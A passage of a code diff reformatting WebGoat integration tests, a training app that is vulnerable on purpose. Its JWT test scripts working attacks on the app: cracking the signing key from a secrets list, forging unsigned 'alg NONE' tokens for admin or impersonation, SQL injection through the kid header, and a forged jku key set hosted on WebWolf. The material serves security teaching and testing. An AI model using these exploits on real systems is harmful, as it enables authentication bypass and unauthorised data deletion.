+            .get(url("service/lessonoverview.mvc/%s.lesson".formatted(lesson)))
+            .andReturn();
 
-    public void checkAssignmentWithPUT(String url, Map<String, ?> params, boolean expectedResult) {
-        MatcherAssert.assertThat(
-                RestAssured.given()
-                        .when()
-                        .relaxedHTTPSValidation()
-                        .cookie("JSESSIONID", getWebGoatCookie())
-                        .formParams(params)
-                        .put(url)
-                        .then()
-                        .statusCode(200)
-                        .extract().path("lessonCompleted"), CoreMatchers.is(expectedResult));
-    }
+    MatcherAssert.assertThat(
+        result.then().statusCode(200).extract().jsonPath().getList("solved"),
+        CoreMatchers.everyItem(CoreMatchers.is(true)));
+  }
 
-    //TODO is prefix useful? not every lesson endpoint needs to start with a certain prefix (they are only required to be in the same package)
-    public void checkResults(String prefix) {
-        checkResults();
+  public void checkResults() {
+    var result =
+        RestAssured.given()
+            .when()
+            .relaxedHTTPSValidation()
+            .cookie("JSESSIONID", getWebGoatCookie())
+            .get(url("service/lessonoverview.mvc"))
+            .andReturn();
 
-        MatcherAssert.assertThat(RestAssured.given()
-                .when()
-                .relaxedHTTPSValidation()
-                .cookie("JSESSIONID", getWebGoatCookie())
-                .get(url("service/lessonoverview.mvc"))
-                .then()
-                .statusCode(200).extract().jsonPath().getList("assignment.path"), CoreMatchers.everyItem(CoreMatchers.startsWith(prefix)));
+    MatcherAssert.assertThat(
+        result.then().statusCode(200).extract().jsonPath().getList("solved"),
+        CoreMatchers.everyItem(CoreMatchers.is(true)));
+  }
 
-    }
+  public void checkAssignment(
+      String url, ContentType contentType, String body, boolean expectedResult) {
+    MatcherAssert.assertThat(
+        RestAssured.given()
+            .when()
+            .relaxedHTTPSValidation()
+            .contentType(contentType)
+            .cookie("JSESSIONID", getWebGoatCookie())
+            .body(body)
+            .post(url)
+            .then()
+            .statusCode(200)
+            .extract()
+            .path("lessonCompleted"),
+        CoreMatchers.is(expectedResult));
+  }
 
-    public void checkResults() {
-        var result = RestAssured.given()
-                .when()
-                .relaxedHTTPSValidation()
-                .cookie("JSESSIONID", getWebGoatCookie())
-                .get(url("service/lessonoverview.mvc"))
-                .andReturn();
+  public void checkAssignmentWithGet(String url, Map<String, ?> params, boolean expectedResult) {
+    MatcherAssert.assertThat(
+        RestAssured.given()
+            .when()
+            .relaxedHTTPSValidation()
+            .cookie("JSESSIONID", getWebGoatCookie())
+            .queryParams(params)
+            .get(url)
+            .then()
+            .statusCode(200)
+            .extract()
+            .path("lessonCompleted"),
+        CoreMatchers.is(expectedResult));
+  }
 
-        MatcherAssert.assertThat(result.then()
-                .statusCode(200).extract().jsonPath().getList("solved"), CoreMatchers.everyItem(CoreMatchers.is(true)));
-    }
+  public String getWebWolfFileServerLocation() {
+    String result =
+        RestAssured.given()
+            .when()
+            .relaxedHTTPSValidation()
+            .cookie("WEBWOLFSESSION", getWebWolfCookie())
+            .get(new WebWolfUrlBuilder().path("file-server-location").build())
+            .then()
+            .extract()
+            .response()
+            .getBody()
+            .asString();
+    result = result.replace("%20", " ");
+    return result;
+  }
 
-    public void checkAssignment(String url, ContentType contentType, String body, boolean expectedResult) {
-        MatcherAssert.assertThat(
-                RestAssured.given()
-                        .when()
-                        .relaxedHTTPSValidation()
-                        .contentType(contentType)
-                        .cookie("JSESSIONID", getWebGoatCookie())
-                        .body(body)
-                        .post(url)
-                        .then()
-                        .statusCode(200)
-                        .extract().path("lessonCompleted"), CoreMatchers.is(expectedResult));
-    }
-
-    public void checkAssignmentWithGet(String url, Map<String, ?> params, boolean expectedResult) {
-        MatcherAssert.assertThat(
-                RestAssured.given()
-                        .when()
-                        .relaxedHTTPSValidation()
-                        .cookie("JSESSIONID", getWebGoatCookie())
-                        .queryParams(params)
-                        .get(url)
-                        .then()
-                        .statusCode(200)
-                        .extract().path("lessonCompleted"), CoreMatchers.is(expectedResult));
-    }
-
-    public String getWebWolfFileServerLocation() {
-        String result = RestAssured.given()
-                .when()
-                .relaxedHTTPSValidation()
-                .cookie("WEBWOLFSESSION", getWebWolfCookie())
-                .get(webWolfUrl("/file-server-location"))
-                .then()
-                .extract().response().getBody().asString();
-        result = result.replace("%20", " ");
-        return result;
-    }
-
-    public String webGoatServerDirectory() {
-        return RestAssured.given()
-                .when()
-                .relaxedHTTPSValidation()
-                .cookie("JSESSIONID", getWebGoatCookie())
-                .get(url("/server-directory"))
-                .then()
-                .extract().response().getBody().asString();
-    }
+  public String webGoatServerDirectory() {
+    return RestAssured.given()
+        .when()
+        .relaxedHTTPSValidation()
+        .cookie("JSESSIONID", getWebGoatCookie())
+        .get(url("server-directory"))
+        .then()
+        .extract()
+        .response()
+        .getBody()
+        .asString();
+  }
 
+  public void cleanMailbox() {
+    RestAssured.given()
+        .when()
+        .relaxedHTTPSValidation()
+        .cookie("WEBWOLFSESSION", getWebWolfCookie())
+        .delete(new WebWolfUrlBuilder().path("mail").build())
+        .then()
+        .statusCode(HttpStatus.ACCEPTED.value());
+  }
 }
-

src/it/java/org/owasp/webgoat/JWTLessonIntegrationTest.java

@@ -1,24 +1,8 @@
 package org.owasp.webgoat;
 
-import java.io.IOException;
-import java.nio.charset.Charset;
-import java.security.InvalidKeyException;
-import java.security.NoSuchAlgorithmException;
-import java.time.Instant;
-import java.util.Base64;
-import java.util.Calendar;
-import java.util.Date;
-import java.util.HashMap;
-import java.util.Map;
-
-import org.hamcrest.CoreMatchers;
-import org.hamcrest.MatcherAssert;
-import org.junit.jupiter.api.Test;
-
 import com.fasterxml.jackson.databind.JsonNode;
 import com.fasterxml.jackson.databind.ObjectMapper;
 import com.fasterxml.jackson.databind.node.ObjectNode;
-
 import io.jsonwebtoken.Header;
 import io.jsonwebtoken.JwsHeader;
 import io.jsonwebtoken.Jwt;
@@ -27,190 +11,294 @@ import io.jsonwebtoken.Jwts;
 import io.jsonwebtoken.SignatureAlgorithm;
 import io.jsonwebtoken.impl.TextCodec;
 import io.restassured.RestAssured;
+import java.io.IOException;
+import java.nio.charset.Charset;
+import java.security.KeyPair;
+import java.security.KeyPairGenerator;
+import java.security.NoSuchAlgorithmException;
+import java.security.interfaces.RSAPublicKey;
+import java.time.Instant;
+import java.util.Base64;
+import java.util.Calendar;
+import java.util.Date;
+import java.util.HashMap;
+import java.util.Map;
+import org.hamcrest.CoreMatchers;
+import org.hamcrest.MatcherAssert;
+import org.jose4j.jwk.JsonWebKeySet;
+import org.jose4j.jwk.RsaJsonWebKey;
+import org.junit.jupiter.api.Test;
 import org.owasp.webgoat.lessons.jwt.JWTSecretKeyEndpoint;
 
 public class JWTLessonIntegrationTest extends IntegrationTest {
-	
-    @Test
-    public void solveAssignment() throws IOException, InvalidKeyException, NoSuchAlgorithmException {
-    	startLesson("JWT");
 
-    	decodingToken();
-  
-        resetVotes();
-                
-        findPassword();
-        
-        buyAsTom();
-        
-        deleteTom();
+  @Test
+  public void solveAssignment() throws IOException, NoSuchAlgorithmException {
+    startLesson("JWT");
 
-		quiz();
-        
-        checkResults("/JWT/");
-    }
-    
-    private String generateToken(String key) {
-    	
-    	return Jwts.builder()
-		.setIssuer("WebGoat Token Builder")
-		.setAudience("webgoat.org")
-		.setIssuedAt(Calendar.getInstance().getTime())
-		.setExpiration(Date.from(Instant.now().plusSeconds(60)))
-		.setSubject("tom@webgoat.org")
-		.claim("username", "WebGoat")
-		.claim("Email", "tom@webgoat.org")
-		.claim("Role", new String[] {"Manager", "Project Administrator"})
-		.signWith(SignatureAlgorithm.HS256, key).compact();
-    }
-    
-    private String getSecretToken(String token) {
-    	for (String key : JWTSecretKeyEndpoint.SECRETS) {
-    		try {
-    			Jwt jwt = Jwts.parser().setSigningKey(TextCodec.BASE64.encode(key)).parse(token);
-    		} catch (JwtException e) {
-    			continue;
-    		}
-    		return TextCodec.BASE64.encode(key);
-    	}
-    	return null;
+    decodingToken();
+
+    resetVotes();
+
+    findPassword();
+
+    buyAsTom();
+
+    deleteTomThroughKidClaim();
+
+    deleteTomThroughJkuClaim();
+
+    quiz();
+
+    checkResults("JWT");
+  }
+
+  private String generateToken(String key) {
+    return Jwts.builder()
+        .setIssuer("WebGoat Token Builder")
+        .setAudience("webgoat.org")
+        .setIssuedAt(Calendar.getInstance().getTime())
+        .setExpiration(Date.from(Instant.now().plusSeconds(60)))
+        .setSubject("tom@webgoat.org")
+        .claim("username", "WebGoat")
+        .claim("Email", "tom@webgoat.org")
+        .claim("Role", new String[] {"Manager", "Project Administrator"})
+        .signWith(SignatureAlgorithm.HS256, key)
+        .compact();
+  }
+
+  private String getSecretToken(String token) {
+    for (String key : JWTSecretKeyEndpoint.SECRETS) {
+      try {
+        Jwt jwt = Jwts.parser().setSigningKey(TextCodec.BASE64.encode(key)).parse(token);
+      } catch (JwtException e) {
+        continue;
+      }
+      return TextCodec.BASE64.encode(key);
     }
+    return null;
+  }
 
-	private void decodingToken() {
-		MatcherAssert.assertThat(
-				RestAssured.given()
-						.when()
-						.relaxedHTTPSValidation()
-						.cookie("JSESSIONID", getWebGoatCookie())
-						.formParam("jwt-encode-user", "user")
-						.post(url("/WebGoat/JWT/decode"))
-						.then()
-						.statusCode(200)
-						.extract().path("lessonCompleted"), CoreMatchers.is(true));
+  private void decodingToken() {
+    MatcherAssert.assertThat(
+        RestAssured.given()
+            .when()
+            .relaxedHTTPSValidation()
+            .cookie("JSESSIONID", getWebGoatCookie())
+            .formParam("jwt-encode-user", "user")
+            .post(url("JWT/decode"))
+            .then()
+            .statusCode(200)
+            .extract()
+            .path("lessonCompleted"),
+        CoreMatchers.is(true));
+  }
 
-	}
-    
-    private void findPassword() throws IOException, NoSuchAlgorithmException, InvalidKeyException {
-    	
-    	String accessToken = RestAssured.given()
-                .when()
-                .relaxedHTTPSValidation()
-                .cookie("JSESSIONID", getWebGoatCookie())
-                .get(url("/WebGoat/JWT/secret/gettoken"))
-                .then()
-                .extract().response().asString();
-    	
-    	String secret = getSecretToken(accessToken);
-    	
-    	MatcherAssert.assertThat(
-                RestAssured.given()
-                        .when()
-                        .relaxedHTTPSValidation()
-                        .cookie("JSESSIONID", getWebGoatCookie())
-                        .formParam("token", generateToken(secret))
-                        .post(url("/WebGoat/JWT/secret"))
-                        .then()
-                        .statusCode(200)
-                        .extract().path("lessonCompleted"), CoreMatchers.is(true));
-    	
-    }
-    
-    private void resetVotes() throws IOException {
-    	String accessToken = RestAssured.given()
-                .when()
-                .relaxedHTTPSValidation()
-                .cookie("JSESSIONID", getWebGoatCookie())
-                .get(url("/WebGoat/JWT/votings/login?user=Tom"))
-                .then()
-                .extract().cookie("access_token");
+  private void findPassword() {
 
-        String header = accessToken.substring(0, accessToken.indexOf("."));
-        header = new String(Base64.getUrlDecoder().decode(header.getBytes(Charset.defaultCharset())));
-        
-        String body = accessToken.substring(1+accessToken.indexOf("."), accessToken.lastIndexOf("."));
-        body = new String(Base64.getUrlDecoder().decode(body.getBytes(Charset.defaultCharset())));
+    String accessToken =
+        RestAssured.given()
+            .when()
+            .relaxedHTTPSValidation()
+            .cookie("JSESSIONID", getWebGoatCookie())
+            .get(url("JWT/secret/gettoken"))
+            .then()
+            .extract()
+            .response()
+            .asString();
 
-        ObjectMapper mapper = new ObjectMapper();
-        JsonNode headerNode = mapper.readTree(header);
-        headerNode = ((ObjectNode) headerNode).put("alg","NONE");
+    String secret = getSecretToken(accessToken);
 
-        JsonNode bodyObject = mapper.readTree(body);
-        bodyObject = ((ObjectNode) bodyObject).put("admin","true");
-        
-        String replacedToken = new String(Base64.getUrlEncoder().encode(headerNode.toString().getBytes()))
-        		.concat(".")
-        		.concat(new String(Base64.getUrlEncoder().encode(bodyObject.toString().getBytes())).toString())
-        		.concat(".").replace("=", "");
-        
-        MatcherAssert.assertThat(
-                RestAssured.given()
-                        .when()
-                        .relaxedHTTPSValidation()
-                        .cookie("JSESSIONID", getWebGoatCookie())
-                        .cookie("access_token", replacedToken)
-                        .post(url("/WebGoat/JWT/votings"))
-                        .then()
-                        .statusCode(200)
-                        .extract().path("lessonCompleted"), CoreMatchers.is(true));
-    }
-    
-	private void buyAsTom() throws IOException {
-		
-		String header = new String(Base64.getUrlDecoder().decode("eyJhbGciOiJIUzUxMiJ9".getBytes(Charset.defaultCharset())));
+    MatcherAssert.assertThat(
+        RestAssured.given()
+            .when()
+            .relaxedHTTPSValidation()
+            .cookie("JSESSIONID", getWebGoatCookie())
+            .formParam("token", generateToken(secret))
+            .post(url("JWT/secret"))
+            .then()
+            .statusCode(200)
+            .extract()
+            .path("lessonCompleted"),
+        CoreMatchers.is(true));
+  }
 
-		String body = new String(Base64.getUrlDecoder().decode("eyJhZG1pbiI6ImZhbHNlIiwidXNlciI6IkplcnJ5In0".getBytes(Charset.defaultCharset())));
+  private void resetVotes() throws IOException {
+    String accessToken =
+        RestAssured.given()
+            .when()
+            .relaxedHTTPSValidation()
+            .cookie("JSESSIONID", getWebGoatCookie())
+            .get(url("JWT/votings/login?user=Tom"))
+            .then()
+            .extract()
+            .cookie("access_token");
 
-		body = body.replace("Jerry", "Tom");
-		
-		ObjectMapper mapper = new ObjectMapper();
-		JsonNode headerNode = mapper.readTree(header);
-		headerNode = ((ObjectNode) headerNode).put("alg", "NONE");
+    String header = accessToken.substring(0, accessToken.indexOf("."));
+    header = new String(Base64.getUrlDecoder().decode(header.getBytes(Charset.defaultCharset())));
 
-		String replacedToken = new String(Base64.getUrlEncoder().encode(headerNode.toString().getBytes())).concat(".")
-				.concat(new String(Base64.getUrlEncoder().encode(body.getBytes())).toString())
-				.concat(".").replace("=", "");
+    String body = accessToken.substring(1 + accessToken.indexOf("."), accessToken.lastIndexOf("."));
+    body = new String(Base64.getUrlDecoder().decode(body.getBytes(Charset.defaultCharset())));
 
-		MatcherAssert.assertThat(RestAssured.given()
-				.when().relaxedHTTPSValidation()
-				.cookie("JSESSIONID", getWebGoatCookie())
-				.header("Authorization","Bearer "+replacedToken)
-				.post(url("/WebGoat/JWT/refresh/checkout"))
-				.then().statusCode(200)
-				.extract().path("lessonCompleted"), CoreMatchers.is(true));
-	}
-	
-	private void deleteTom() {
-		
-		Map<String, Object> header = new HashMap();
-		  header.put(Header.TYPE, Header.JWT_TYPE);
-		  header.put(JwsHeader.KEY_ID, "hacked' UNION select 'deletingTom' from INFORMATION_SCHEMA.SYSTEM_USERS --");
-		String token = Jwts.builder()
-				.setHeader(header)
-				.setIssuer("WebGoat Token Builder")
-				.setAudience("webgoat.org")
-				.setIssuedAt(Calendar.getInstance().getTime())
-				.setExpiration(Date.from(Instant.now().plusSeconds(60)))
-				.setSubject("tom@webgoat.org")
-				.claim("username", "Tom")
-				.claim("Email", "tom@webgoat.org")
-				.claim("Role", new String[] {"Manager", "Project Administrator"})
-				.signWith(SignatureAlgorithm.HS256, "deletingTom").compact();
-		
-		MatcherAssert.assertThat(RestAssured.given()
-				.when().relaxedHTTPSValidation()
-				.cookie("JSESSIONID", getWebGoatCookie())
-				.post(url("/WebGoat/JWT/final/delete?token="+token))
-				.then()
-				.statusCode(200)
-				.extract().path("lessonCompleted"), CoreMatchers.is(true));
-	}
+    ObjectMapper mapper = new ObjectMapper();
+    JsonNode headerNode = mapper.readTree(header);
+    headerNode = ((ObjectNode) headerNode).put("alg", "NONE");
 
-	private void quiz() { 
-		Map<String, Object> params = new HashMap<>();
-		params.put("question_0_solution", "Solution 1");
-		params.put("question_1_solution", "Solution 2");
+    JsonNode bodyObject = mapper.readTree(body);
+    bodyObject = ((ObjectNode) bodyObject).put("admin", "true");
 
-		checkAssignment(url("/WebGoat/JWT/quiz"), params, true);
-	}
-    
+    String replacedToken =
+        new String(Base64.getUrlEncoder().encode(headerNode.toString().getBytes()))
+            .concat(".")
+            .concat(
+                new String(Base64.getUrlEncoder().encode(bodyObject.toString().getBytes()))
+                    .toString())
+            .concat(".")
+            .replace("=", "");
+
+    MatcherAssert.assertThat(
+        RestAssured.given()
+            .when()
+            .relaxedHTTPSValidation()
+            .cookie("JSESSIONID", getWebGoatCookie())
+            .cookie("access_token", replacedToken)
+            .post(url("JWT/votings"))
+            .then()
+            .statusCode(200)
+            .extract()
+            .path("lessonCompleted"),
+        CoreMatchers.is(true));
+  }
+
+  private void buyAsTom() throws IOException {
+
+    String header =
+        new String(
+            Base64.getUrlDecoder()
+                .decode("eyJhbGciOiJIUzUxMiJ9".getBytes(Charset.defaultCharset())));
+
+    String body =
+        new String(
+            Base64.getUrlDecoder()
+                .decode(
+                    "eyJhZG1pbiI6ImZhbHNlIiwidXNlciI6IkplcnJ5In0"
+                        .getBytes(Charset.defaultCharset())));
+
+    body = body.replace("Jerry", "Tom");
+
+    ObjectMapper mapper = new ObjectMapper();
+    JsonNode headerNode = mapper.readTree(header);
+    headerNode = ((ObjectNode) headerNode).put("alg", "NONE");
+
+    String replacedToken =
+        new String(Base64.getUrlEncoder().encode(headerNode.toString().getBytes()))
+            .concat(".")
+            .concat(new String(Base64.getUrlEncoder().encode(body.getBytes())).toString())
+            .concat(".")
+            .replace("=", "");
+
+    MatcherAssert.assertThat(
+        RestAssured.given()
+            .when()
+            .relaxedHTTPSValidation()
+            .cookie("JSESSIONID", getWebGoatCookie())
+            .header("Authorization", "Bearer " + replacedToken)
+            .post(url("JWT/refresh/checkout"))
+            .then()
+            .statusCode(200)
+            .extract()
+            .path("lessonCompleted"),
+        CoreMatchers.is(true));
+  }
+
+  private void deleteTomThroughKidClaim() {
+    Map<String, Object> header = new HashMap();
+    header.put(Header.TYPE, Header.JWT_TYPE);
+    header.put(
+        JwsHeader.KEY_ID,
+        "hacked' UNION select 'deletingTom' from INFORMATION_SCHEMA.SYSTEM_USERS --");
+    String token =
+        Jwts.builder()
+            .setHeader(header)
+            .setIssuer("WebGoat Token Builder")
+            .setAudience("webgoat.org")
+            .setIssuedAt(Calendar.getInstance().getTime())
+            .setExpiration(Date.from(Instant.now().plusSeconds(60)))
+            .setSubject("tom@webgoat.org")
+            .claim("username", "Tom")
+            .claim("Email", "tom@webgoat.org")
+            .claim("Role", new String[] {"Manager", "Project Administrator"})
+            .signWith(SignatureAlgorithm.HS256, "deletingTom")
+            .compact();
+
+    MatcherAssert.assertThat(
+        RestAssured.given()
+            .when()
+            .relaxedHTTPSValidation()
+            .cookie("JSESSIONID", getWebGoatCookie())
+            .post(url("JWT/kid/delete?token=" + token))
+            .then()
+            .statusCode(200)
+            .extract()
+            .path("lessonCompleted"),
+        CoreMatchers.is(true));
+  }
+
+  private void deleteTomThroughJkuClaim() throws NoSuchAlgorithmException {
+    KeyPairGenerator keyPairGenerator = KeyPairGenerator.getInstance("RSA");
+    keyPairGenerator.initialize(2048);
+    KeyPair keyPair = keyPairGenerator.generateKeyPair();
+    var jwks = new JsonWebKeySet(new RsaJsonWebKey((RSAPublicKey) keyPair.getPublic()));
+    RestAssured.given()
+        .when()
+        .relaxedHTTPSValidation()
+        .cookie("WEBWOLFSESSION", getWebWolfCookie())
+        .multiPart("file", "jwks.json", jwks.toJson().getBytes())
+        .post(new WebWolfUrlBuilder().path("fileupload").build())
+        .then()
+        .extract()
+        .response()
+        .getBody()
+        .asString();
+
+    Map<String, Object> header = new HashMap();
+    header.put(Header.TYPE, Header.JWT_TYPE);
+    header.put(
+        JwsHeader.JWK_SET_URL,
+        new WebWolfUrlBuilder().attackMode().path("files/%s/jwks.json", getUser()).build());
+
+    String token =
+        Jwts.builder()
+            .setHeader(header)
+            .setIssuer("WebGoat Token Builder")
+            .setAudience("webgoat.org")
+            .setIssuedAt(Calendar.getInstance().getTime())
+            .setExpiration(Date.from(Instant.now().plusSeconds(60)))
+            .setSubject("tom@webgoat.org")
+            .claim("username", "Tom")
+            .claim("Email", "tom@webgoat.org")
+            .claim("Role", new String[] {"Manager", "Project Administrator"})
+            .signWith(SignatureAlgorithm.RS256, keyPair.getPrivate())
+            .compact();
+
+    MatcherAssert.assertThat(
+        RestAssured.given()
+            .when()
+            .relaxedHTTPSValidation()
+            .cookie("JSESSIONID", getWebGoatCookie())
+            .post(url("JWT/jku/delete?token=" + token))
+            .then()
+            .statusCode(200)
+            .extract()
+            .path("lessonCompleted"),
+        CoreMatchers.is(true));
+  }
+
+  private void quiz() {
+    Map<String, Object> params = new HashMap<>();
+    params.put("question_0_solution", "Solution 1");
+    params.put("question_1_solution", "Solution 2");
+
+    checkAssignment(url("JWT/quiz"), params, true);
+  }
 }

src/it/java/org/owasp/webgoat/LabelAndHintIntegrationTest.java

@@ -3,168 +3,227 @@ package org.owasp.webgoat;
 import io.restassured.RestAssured;
 import io.restassured.http.ContentType;
 import io.restassured.path.json.JsonPath;
-import org.junit.jupiter.api.Assertions;
-import org.junit.jupiter.api.Test;
-
 import java.io.FileInputStream;
 import java.io.InputStream;
 import java.util.List;
 import java.util.Properties;
+import org.junit.jupiter.api.Assertions;
+import org.junit.jupiter.api.Test;
 
 public class LabelAndHintIntegrationTest extends IntegrationTest {
 
-    final static String ESCAPE_JSON_PATH_CHAR = "\'";
+  static final String ESCAPE_JSON_PATH_CHAR = "\'";
 
-    @Test
-    public void testSingleLabel() {
-        Assertions.assertTrue(true);
-        JsonPath jsonPath = RestAssured.given()
-                .when()
-                .relaxedHTTPSValidation()
-                .contentType(ContentType.JSON)
-                .header("Accept-Language","en")
-                .cookie("JSESSIONID", getWebGoatCookie())
-                .get(url("service/labels.mvc")).then().statusCode(200).extract().jsonPath();
+  @Test
+  public void testSingleLabel() {
+    Assertions.assertTrue(true);
+    JsonPath jsonPath =
+        RestAssured.given()
+            .when()
+            .relaxedHTTPSValidation()
+            .contentType(ContentType.JSON)
+            .header("Accept-Language", "en")
+            .cookie("JSESSIONID", getWebGoatCookie())
+            .get(url("service/labels.mvc"))
+            .then()
+            .statusCode(200)
+            .extract()
+            .jsonPath();
 
-        Assertions.assertEquals("Try again: but this time enter a value before hitting go.", jsonPath.getString(ESCAPE_JSON_PATH_CHAR+"http-basics.close"+ESCAPE_JSON_PATH_CHAR));
+    Assertions.assertEquals(
+        "Try again: but this time enter a value before hitting go.",
+        jsonPath.getString(ESCAPE_JSON_PATH_CHAR + "http-basics.close" + ESCAPE_JSON_PATH_CHAR));
 
-        // check if lang parameter overrules Accept-Language parameter
-        jsonPath = RestAssured.given()
-                .when()
-                .relaxedHTTPSValidation()
-                .contentType(ContentType.JSON)
-                .header("Accept-Language","en")
-                .cookie("JSESSIONID", getWebGoatCookie())
-                .get(url("service/labels.mvc?lang=nl")).then().statusCode(200).extract().jsonPath();
-        Assertions.assertEquals("Gebruikersnaam", jsonPath.getString(ESCAPE_JSON_PATH_CHAR+"username"+ESCAPE_JSON_PATH_CHAR));
+    // check if lang parameter overrules Accept-Language parameter
+    jsonPath =
+        RestAssured.given()
+            .when()
+            .relaxedHTTPSValidation()
+            .contentType(ContentType.JSON)
+            .header("Accept-Language", "en")
+            .cookie("JSESSIONID", getWebGoatCookie())
+            .get(url("service/labels.mvc?lang=nl"))
+            .then()
+            .statusCode(200)
+            .extract()
+            .jsonPath();
+    Assertions.assertEquals(
+        "Gebruikersnaam",
+        jsonPath.getString(ESCAPE_JSON_PATH_CHAR + "username" + ESCAPE_JSON_PATH_CHAR));
 
-        jsonPath = RestAssured.given()
-                .when()
-                .relaxedHTTPSValidation()
-                .contentType(ContentType.JSON)
-                .header("Accept-Language","en")
-                .cookie("JSESSIONID", getWebGoatCookie())
-                .get(url("service/labels.mvc?lang=de")).then().statusCode(200).extract().jsonPath();
-        Assertions.assertEquals("Benutzername", jsonPath.getString(ESCAPE_JSON_PATH_CHAR+"username"+ESCAPE_JSON_PATH_CHAR));
+    jsonPath =
+        RestAssured.given()
+            .when()
+            .relaxedHTTPSValidation()
+            .contentType(ContentType.JSON)
+            .header("Accept-Language", "en")
+            .cookie("JSESSIONID", getWebGoatCookie())
+            .get(url("service/labels.mvc?lang=de"))
+            .then()
+            .statusCode(200)
+            .extract()
+            .jsonPath();
+    Assertions.assertEquals(
+        "Benutzername",
+        jsonPath.getString(ESCAPE_JSON_PATH_CHAR + "username" + ESCAPE_JSON_PATH_CHAR));
 
-        // check if invalid language returns english
-        jsonPath = RestAssured.given()
-                .when()
-                .relaxedHTTPSValidation()
-                .contentType(ContentType.JSON)
-                .header("Accept-Language","nl")
-                .cookie("JSESSIONID", getWebGoatCookie())
-                .get(url("service/labels.mvc?lang=xx")).then().statusCode(200).extract().jsonPath();
-        Assertions.assertEquals("Username", jsonPath.getString(ESCAPE_JSON_PATH_CHAR+"username"+ESCAPE_JSON_PATH_CHAR));
+    // check if invalid language returns english
+    jsonPath =
+        RestAssured.given()
+            .when()
+            .relaxedHTTPSValidation()
+            .contentType(ContentType.JSON)
+            .header("Accept-Language", "nl")
+            .cookie("JSESSIONID", getWebGoatCookie())
+            .get(url("service/labels.mvc?lang=xx"))
+            .then()
+            .statusCode(200)
+            .extract()
+            .jsonPath();
+    Assertions.assertEquals(
+        "Username", jsonPath.getString(ESCAPE_JSON_PATH_CHAR + "username" + ESCAPE_JSON_PATH_CHAR));
 
-        // check if invalid language returns english
-        jsonPath = RestAssured.given()
-                .when()
-                .relaxedHTTPSValidation()
-                .contentType(ContentType.JSON)
-                .header("Accept-Language","xx_YY")
-                .cookie("JSESSIONID", getWebGoatCookie())
-                .get(url("service/labels.mvc")).then().statusCode(200).extract().jsonPath();
-        Assertions.assertEquals("Username", jsonPath.getString(ESCAPE_JSON_PATH_CHAR+"username"+ESCAPE_JSON_PATH_CHAR));
+    // check if invalid language returns english
+    jsonPath =
+        RestAssured.given()
+            .when()
+            .relaxedHTTPSValidation()
+            .contentType(ContentType.JSON)
+            .header("Accept-Language", "xx_YY")
+            .cookie("JSESSIONID", getWebGoatCookie())
+            .get(url("service/labels.mvc"))
+            .then()
+            .statusCode(200)
+            .extract()
+            .jsonPath();
+    Assertions.assertEquals(
+        "Username", jsonPath.getString(ESCAPE_JSON_PATH_CHAR + "username" + ESCAPE_JSON_PATH_CHAR));
+  }
 
+  @Test
+  public void testHints() {
+    JsonPath jsonPathLabels = getLabels("en");
+    List<String> allLessons =
+        List.of(
+            "HttpBasics",
+            "HttpProxies",
+            "CIA",
+            "InsecureLogin",
+            "Cryptography",
+            "PathTraversal",
+            "XXE",
+            "JWT",
+            "IDOR",
+            "SSRF",
+            "WebWolfIntroduction",
+            "CrossSiteScripting",
+            "CSRF",
+            "HijackSession",
+            "SqlInjection",
+            "SqlInjectionMitigations",
+            "SqlInjectionAdvanced",
+            "Challenge1");
+    for (String lesson : allLessons) {
+      startLesson(lesson);
+      List<String> hintKeys = getHints();
+      for (String key : hintKeys) {
+        String keyValue =
+            jsonPathLabels.getString(ESCAPE_JSON_PATH_CHAR + key + ESCAPE_JSON_PATH_CHAR);
+        // System.out.println("key: " + key + " ,value: " + keyValue);
+        Assertions.assertNotNull(keyValue);
+        Assertions.assertNotEquals(key, keyValue);
+      }
     }
+    // Assertions.assertEquals("http-basics.hints.http_basics_lesson.1",
+    // ""+jsonPath.getList("hint").get(0));
+  }
 
-    @Test
-    public void testHints() {
-        JsonPath jsonPathLabels = getLabels("en");
-        List<String> allLessons = List.of(
-                "HttpBasics",
-                "HttpProxies", "CIA", "InsecureLogin", "Cryptography", "PathTraversal",
-                "XXE", "JWT", "IDOR", "SSRF", "WebWolfIntroduction", "CrossSiteScripting", "CSRF", "HijackSession",
-                "SqlInjection", "SqlInjectionMitigations" ,"SqlInjectionAdvanced",
-                "Challenge1");
-        for (String lesson: allLessons) {
-            startLesson(lesson);
-            List<String> hintKeys = getHints();
-            for (String key : hintKeys) {
-                String keyValue = jsonPathLabels.getString(ESCAPE_JSON_PATH_CHAR + key + ESCAPE_JSON_PATH_CHAR);
-                //System.out.println("key: " + key + " ,value: " + keyValue);
-                Assertions.assertNotNull(keyValue);
-                Assertions.assertNotEquals(key, keyValue);
-            }
-        }
-        //Assertions.assertEquals("http-basics.hints.http_basics_lesson.1", ""+jsonPath.getList("hint").get(0));
+  @Test
+  public void testLabels() {
+
+    JsonPath jsonPathLabels = getLabels("en");
+    Properties propsDefault = getProperties("");
+    for (String key : propsDefault.stringPropertyNames()) {
+      String keyValue =
+          jsonPathLabels.getString(ESCAPE_JSON_PATH_CHAR + key + ESCAPE_JSON_PATH_CHAR);
+      Assertions.assertNotNull(keyValue);
     }
+    checkLang(propsDefault, "nl");
+    checkLang(propsDefault, "de");
+    checkLang(propsDefault, "fr");
+  }
 
-    @Test
-    public void testLabels() {
-
-        JsonPath jsonPathLabels = getLabels("en");
-        Properties propsDefault = getProperties("");
-        for (String key: propsDefault.stringPropertyNames()) {
-            String keyValue = jsonPathLabels.getString(ESCAPE_JSON_PATH_CHAR+key+ESCAPE_JSON_PATH_CHAR);
-            Assertions.assertNotNull(keyValue);
-        }
-        checkLang(propsDefault,"nl");
-        checkLang(propsDefault,"de");
-        checkLang(propsDefault,"fr");
-        checkLang(propsDefault,"ru");
-
+  private Properties getProperties(String lang) {
+    Properties prop = null;
+    if (lang == null || lang.equals("")) {
+      lang = "";
+    } else {
+      lang = "_" + lang;
     }
+    try (InputStream input =
+        new FileInputStream("src/main/resources/i18n/messages" + lang + ".properties")) {
 
-    private Properties getProperties(String lang) {
-        Properties prop = null;
-        if (lang == null || lang.equals("")) { lang = ""; } else { lang = "_"+lang; }
-        try (InputStream input = new FileInputStream("src/main/resources/i18n/messages"+lang+".properties")) {
-
-            prop = new Properties();
-            // load a properties file
-            prop.load(input);
-        } catch (Exception e) {
-            e.printStackTrace();
-        }
-        return prop;
+      prop = new Properties();
+      // load a properties file
+      prop.load(input);
+    } catch (Exception e) {
+      e.printStackTrace();
     }
+    return prop;
+  }
 
-    private void checkLang(Properties propsDefault, String lang) {
-        JsonPath jsonPath = getLabels(lang);
-        Properties propsLang = getProperties(lang);
+  private void checkLang(Properties propsDefault, String lang) {
+    JsonPath jsonPath = getLabels(lang);
